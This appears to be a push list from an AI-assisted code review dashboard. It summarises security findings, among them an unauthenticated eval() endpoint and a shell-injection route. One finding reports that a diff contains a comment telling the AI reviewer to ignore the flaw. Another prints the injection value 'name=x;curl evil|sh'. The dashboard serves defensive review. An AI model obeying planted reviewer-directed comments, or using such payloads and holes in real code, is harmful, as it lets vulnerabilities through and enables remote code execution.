Pushes
All pushes
Connecting…- jo
Remove eval from metrics and require admin
+120Check Passed@jordan-blake4c2a267Replaces eval() with a dictionary lookup and restores the admin dependency.
- jo
Faster admin metrics endpoint
-132Check Failed@jordan-blakee4f17b11 critical1 high1 mediumAdds GET /admin/metrics with no admin dependency and evaluates the
statquery parameter with eval(): unauthenticated remote code execution. The diff also contains a comment instructing the AI reviewer to ignore it.
- sa
Refund eligibility rules
+99Check Warned@sam-okafor6ac2cb9Adds refund_ok(), a deeply nested rule ladder with a bare except and a mutable default argument. No vulnerability, but hard to review and test.
- jo
Load Stripe key from environment
+350Check Passed@jordan-blakea980c31Moves the Stripe secret to configuration. Note: the leaked key still needs rotation in the Stripe dashboard.
- ma
Expose paginated user directory
-14Check Passed@maya-chen9c40d53Adds an authenticated, size-capped user directory endpoint.
- pr
Nightly export archives for admins
-520Check Failed@priya-natarajan25e44bb1 highAdds POST /admin/exports/{name}. The path segment is interpolated into a shell command in reports.export_archive (shell=True), so
name=x;curl evil|shexecutes arbitrary commands. The route requires admin, which limits but does not remove the risk (compromised or malicious admin, CSRF from an admin session).